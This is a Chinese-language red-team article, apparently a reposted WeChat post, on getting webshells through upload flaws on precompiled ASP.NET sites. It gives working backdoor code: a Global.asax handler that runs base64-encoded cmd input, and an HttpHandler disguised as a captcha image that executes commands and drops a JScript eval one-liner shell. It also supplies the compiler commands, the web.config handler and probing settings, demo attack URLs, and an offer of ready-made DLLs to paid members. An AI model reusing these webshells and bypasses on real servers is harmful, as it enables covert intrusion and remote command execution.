0x01 背景
在攻防演练的这个大背景下,红蓝对抗也逐渐真正的提升到对抗这个层次,这不今天由dotNet安全矩阵星球圈友们组成的微信群里有位群友问起如何突破预编译拿webshell有什么方法,预编译已经够麻烦了,这位师傅还非常有挑战的加上了不考虑跨目录的情况下怎么获取webshell,借师傅这么有挑战的命题笔者系统性的介绍预编译几种不同场景下获取shell的手段,希望本文探讨的这些可行性路径以及达成目标使用的不同方法能在实战中有所帮助。
0x02 困局
.NET站点发布时提供一项预编译的能力,可以提升站点运行处理的速度以及保护知识版权,采用了这种预编译模式后站点下的每个.NET文件的内容被标记为 “这是预编译工具生成的标记文件,不应删除!”,如果此时上传一个普通的aspx木马,访问后提示 “未预编译文件,因此不能请求该文件”,如下图所示,那么这种场景下如何通过文件上传漏洞获取WebShell呢?笔者想到了以下不同场景下的几种变通的方法,在正式介绍方法前首先回顾下预编译的原理。
0x03 预编译原理
.NET下的编译方式大致可以分成两种方式,分别为动态编译和预编译。动态编译因为文件以源代码的形式放置于Web容器中,所以对于首次访问编译时需要消耗大量的资源,这样会严重降低Web应用的响应速度,另外代码内容是开放的,容易被篡改导致系统不安全或崩溃,从知识产权来看也不利于保护商业秘密。以上这两点动态编译的劣势也是开发者选择预编译的两种原因,预编译模式下将编译所有的.NET文件,当然HTML、图片、css等静态资源文件不包含在内,在预编译过程中编译器将创建的程序集存储于项目根目录下的Bin文件夹,另外也会同步到一个.NET特殊的目录 %SystemRoot%Microsoft.NETFrameworkversionTemporary ASP.NET Files 文件夹下,Bin目录下会编译生成两类为文件,一类是扩展名为.compiled,该文件包含指向与该页相应的程序集名称;另一类文件是编译后的扩展名为.dll 的程序集文件。下面笔者分几个小节分别介绍预编译发布过程和生成的结果文件
3.1 编译可选项
创建.NET MVC项目后右击选择 发布,系统提供了文件夹、FTP、IIS、云发布等多种途径,笔者选择了传统的IIS发布,发布就绪后配置Release选项,打开预编译详细配置页面,默认情况下系统勾选了 “允许更新预编译站点”,这样的好处在于可以很轻松的修改代码,方便应急维护,但不好的方面就是不安全,未能达到保护软件知识版权的目的。如果不勾选“允许更新预编译站点”,项目下的所有aspx文件的内容都将被重写为 “这是预编译工具生成的标记文件,不应删除!”,而文件本身也只是个占位符。
除了图形化界面操作预编译之外,Visual Studio还提供了命令行下的可执行程序aspnet_compiler 预编译.NET项目,具体的命令释义如下
aspnet_compiler -v /Lib -p D:ProjectVisualStudioPreWebFormtest D:test -fixednames
名称 | 释义 |
-v | 表示指向的虚拟地址路径 /Lib |
-p | 要编译的源Web项目所在文件夹、以及输出的文件夹 |
-fixednames | 表示每个.aspx都编译生成单独的dll文件,并使用固定文件名 |
经过编译后项目文件夹中的所有.aspx, .ashx及App_Code中的.cs文件都会被编译成DLL文件,静态资源文件将原封不动的复制到目的文件夹里。
3.2 complied文件
.NET每一次编译都会生成很多具有.compiled扩展名的保留文件,这个文件本质上是一个XML文件,命名格式如下,其中[page]是页面的名称,[folder-hash]是对页面所在路径的Hash Value,这样做可保证处于同一级目录的所有保留文件具有不同的文件名。
[page].aspx.[folder-hash].compiled
例如笔者本地MVC项目里用到的about.aspx被预编译名为 about.aspx.cdcab7d2.compiled,那么打开再看看里面的XML内容各代表什么意思,打开后如下
<preserve resultType="3" virtualPath="/Lib/About.aspx" hash="b9c5efb0" filehash="d594de3b3c043afb" flags="110000" assembly="App_Web_2cqo2mgm" type="ASP.about_aspx">
<filedeps>
<filedep name="/Lib/About.aspx" />
<filedep name="/Lib/Site.Master" />
</filedeps>
</preserve>
名称 | 释义 |
virtualPath | 表示aspx页面对应的虚拟地址路径 |
hash | 保留了状态的Hash value |
filehash | 表示依赖文件状态的Hash value |
assembly | 表示编译后对应的程序集名称 |
type | 表示页面编译后对应的http handler |
filedeps | 列表了所有的依赖文件 |
通过hash和filehash的缓存,.NET可以判断自上一次使用以来保留文件和它所依赖的文件是否被改动,如果真的被改动了将会重新编译。
3.3 PrecompiledApp.config
假设按照第3.1.1小节的默认配置,.NET预编译项目后会多出一个Precompiled.config文件,此文件用来控制当前站点预编译状态,内容如下最关键的是updatable选项,当配置为 false时,整个项目为预编译不允许更新,意思就是传入.cs文件将不能运行;只有为true的情况下才能正常运行.cs这样未编译的文件,另外此文件内容的更改或文件删除,均需要重启IIS才能生效,权限要求较高!
<precompiledApp version="2" updatable="true"/>
0x04 预编译绕过的几种场景
4.1 上传ASP脚本
IIS作为优秀的Web容器,不光对.NET支持非常好,对早前的ASP脚本一直也支持,但在笔者当前的环境IIS10里默认是不启用的,需要在应用程序功能配置上勾选上ASP,这样在.NET预编译模式下通过上传ASP木马可以GetShell,因为ASP脚本由 %windir%system32inetsrvasp.dll 负责处理请求而.NET由 %windir%Microsoft.NETFramework64v4.0.30319aspnet_isapi.dll 负责处理,所以和.NET无关。IIS10里启用ASP配置如下
4.2 上传至Bin目录
bin这个目录包含了项目所有使用到的.Net程序集,并且 在Web 应用程序任意处的其他代码会自动引用该文件夹。典型的示例是您为自定义类编译好的代码。您可以将编译后的程序集复制到Web应用程序的 Bin文件夹中,这样所有页都可以使用这个类。Bin文件夹中的程序集无需注册。只要.dll 文件存在于 Bin 文件夹中,.NET 就可以识别它。如果您更改了 .dll 文件,并将它的新版本写入到了 Bin 文件夹中,则 .NET 会检测到更新,并对随后的新页请求使用新版本的 .dll ,笔者假定如果上传漏洞可以任意跨目录的话就可以将编译好的compiled文件和关联的App_Web_xxxxx.dll上传到Bin目录,举个栗子比如需要编译“D:Projecttest”目录下的aspx.aspx文件,文件内容是启动calc, 执行下面命令生成 aspx.aspx.cdcab7d2.compiled 和 App_Web_4z2nrvyu.dll 两个文件,将它们上传到bin目录,然后还需要把aspx.aspx这个占位符文件上传到站点根目录下,再访问/aspx.aspx即可在进程中拉起计算器,整个过程需要分三次上传,并且涉及到跨bin目录和根目录
aspnet_compiler -v /Lib -p D:Projecttest D:test -fixednames
如果遇到根目录不可写的场景话,就需要改变打法,用.NET提供的全局文件Global.asax去实现GetShell,Global.asax这个文件是IIS请求和响应必进过的文件,是包含了HTTP会话生命周期各个阶段状态处置的文件。 它继承自System.Web.HttpApplication,它的作用是定义 .NET 应用程序中的所有应用程序对象共有的方法、属性和事件。笔者在 Application_Start 和Application_BeginRequest 两个方法内分别实现启动winver进程和mstsc进程,如下图
Application_Start() 表示在HttpApplication 类的第一个实例被创建时,该事件被触发。它允许你创建可以由所有HttpApplication 实例访问的对象,这是我们程序第一次启动的时候调用的方法,Application_BeginRequest() 表示在接收到一个应用程序请求时触发。对于一个请求来说,它是第一个被触发的事件。在预编译的模式下Global.asax会被编译成App_global.asax.dll 、App_global.asax.compiled 两个文件,将这两个文件上传到Bin目录即可,刷新页面即可执行DLL里的命令。为了更加贴近实战,笔者优化代码加入从外部获取的数据,如下代码所示,DLL已经放在星球工具里,请师父们自取。
private void Application_BeginRequest(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(HttpContext.Current.Request["content"]))
{
Process.Start("cmd.exe", "/c " + Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(HttpContext.Current.Request["content"])));
}
}
4.3 Web.config助力突破预编译
在预编译模式下唯一不编译的就是web.config网站配置这个文件,它不参与编译并可以随时对站点目录下的Web.config 文件进行修改,而无需重新编译网站。这个点就很厉害了助力笔者打开潘多拉魔盒,看一看如何更好的利用好它。另外根据预编译的运行规则分析出必须使用编译后的DLL文件才能正常运行,一切未经过编译的ASPX源代码文件是不能运行的,所以有一种不能跨目录上传的场景,因为不能跨目录上传,所以编译好的DLL文件无法传至Bin目录下,从而不能GetShell,笔者假定任意文件上传只能限定于固定目录下,比如/Lib/目录,而此时又满足对web.config文件的读写,这样的场景下可在编译的DLL里实现HttpHandler。
4.3.1 HttpHandler DLL
IIS提供的ISAPI是根据文件名后缀把不同的请求转交给不同的处理程序,几乎所有的.NET应用程序都交给 aspnet_isapi.dll 去处理了,但是aspnet_isapi.dll对不同的请求采取不同的处理方式,查看C:WindowsMicrosoft.NETFrameworkv4.0.30319Configweb.config配置定义如下
例如<add path=”*.ashx” type=”System.Web.UI.SimpleHandlerFactory” validate=”True” verb=”*”/> 配置项中path属性是必选的,它的作用是指定路径可以包含单个URL或者简单的通配符字符串如 *.ashx ,表示默认任意文件名的一般处理程序ashx均可通过 System.Web.UI.SimpleHandlerFactory实现HTTP请求和响应, 其它的属性参考下表
属性 | 说明 |
---|---|
name | 处理映射程序的名称 |
type | 必选的,指定程序集组合,一般对应的就是Bin目录下的DLL |
verb | 必选的,支持GET/POST/PUT;也可以是脚本映射如通配符* |
preCondition | 可选属性,集成模式(Integrated)/ 经典模式(Classic) |
validate | 可选的属性,一般为true |
由于System.Web.UI.SimpleHandlerFactory继承于IHttpHandlerFactory,所以我们如果想创建自定义的处置Handlers ,就需要继承IHttpHandler类,笔者编写了一个基于Handlers处理程序的.NET小马,保存名称为IsapiModules.Handler.cs ,主要实现了三个功能,一是生成验证码,二是创建一个aspx的一句话文件,三是执行cmd命令;生成验证码的目的是为了更好的隐藏自己,从HTTP返回的数据里输出的是一张验证码图片,代码如下
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "image/JPEG";
string path = context.Request["p"];
string input = context.Request["c"];
if (context.Request["a"] == "c")
{
this.cmdShell(path, input);
}
else if (context.Request["a"] == "w")
{
string input2 = "<%@ Page Language="Jscript"%><%eval(Request.Item["dotnet"],"unsafe");%>";
this.CreateFiles(path, input2);
}
Bitmap bitmap = new Bitmap(200, 60);
Graphics graphics = Graphics.FromImage(bitmap);
graphics.FillRectangle(new SolidBrush(Color.White), 0, 0, 200, 60);
Font font = new Font(FontFamily.GenericSerif, 48f, FontStyle.Bold, GraphicsUnit.Pixel);
Random random = new Random();
string text = "ABCDEFGHIJKLMNPQRSTUVWXYZ";
StringBuilder stringBuilder = new StringBuilder();
for (int i = 0; i < 5; i++)
{
string text2 = text.Substring(random.Next(0, text.Length - 1), 1);
stringBuilder.Append(text2);
graphics.DrawString(text2, font, new SolidBrush(Color.Black), (float)(i * 38), (float)random.Next(0, 15));
}
Pen pen = new Pen(new SolidBrush(Color.Black), 2f);
for (int i = 0; i < 6; i++)
{
graphics.DrawLine(pen, new Point(random.Next(0, 199), random.Next(0, 59)), new Point(random.Next(0, 199), random.Next(0, 59)));
}
bitmap.Save(context.Response.OutputStream, ImageFormat.Gif);
}
在命令行下用csc.exe 生成 IsapiModules.Handler.dll ,生成 DLL 的命令如下
C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /t:library /r:System.Web.dll -out:C:inetpubwwwrootBinIsapiModules.Handler.dll C:inetpubwwwrootIsapiModules.Handler.cs
将生成的 IsapiModules.Handler.dll 上传到当前目录Lib下,做到这步已经完成了GetShell链路的第1部分,笔者已经将这个DLL打包好了,师傅们在星球里可以直接拿去用即可。
4.3.2 Webconfig配置映射
在站点根目录下的Web.config文件新增handlers/httpHandlers节点,由于笔者当前的环境是IIS10,所以选择在<handlers>标签内添加映射关系,一切URL请求带 .gif的都从 IsapiModules.Handler 经过,配置详情如下
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="PageHandlerFactory ISAPI 2.0 32" path="*.gif" verb="*" type="IsapiModules.Handler,IsapiModules.Handler" preCondition="integratedMode" resourceType="Unspecified"/>
</handlers>
</system.webServer>
但做到这里还不够,因为这样IIS只会去bin目录下寻找IsapiModules.Handler.dll文件,找不到就会抛出异常,可我们上传的dll位于Lib目录下,所以还需要增加一处配置,<probing privatePath=”Lib”/> 用于探索指定目录下的程序集并自动加载,如下
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="Lib"/>
</assemblyBinding>
</runtime>
</configuration>
这样配置后就可以实现具备读写根目录web.config文件,且上传文件不跨越目录的情况下完成GetShell,演示 http://localhost/anywhere.gif?a=c&p=cmd.txt&c=ver 命令执行后将结果保存到cmd.txt文件,如图
另外还可以在Lib目录里同时上传web.config文件和IsapiModules.Handler.dll,但可惜的是在子目录下的web.config文件里配置 <probing privatePath=”Lib”/> 这样的扫描探索选项并不生效,导致还是需要在根目录的web.config里配置才可以正常运行,演示地址改成 http://localhost/Lib/any.gif?a=c&p=cmd.txt&c=ver,将会在Lib目录下生成cmd.txt
0x05 结语
0x06 星球活动
“
星球优惠活动持续进行,价格直接给到星球最低起步价【¥50】 ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算。【7月也是星球最低价优惠活动最后一个月】,对.NET关注的大伙请尽快加入我们吧!
dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会。
”
原文始发于微信公众号(dotNet安全矩阵):干货 | .NET 文件上传多个场景绕过预编译限制获取Shell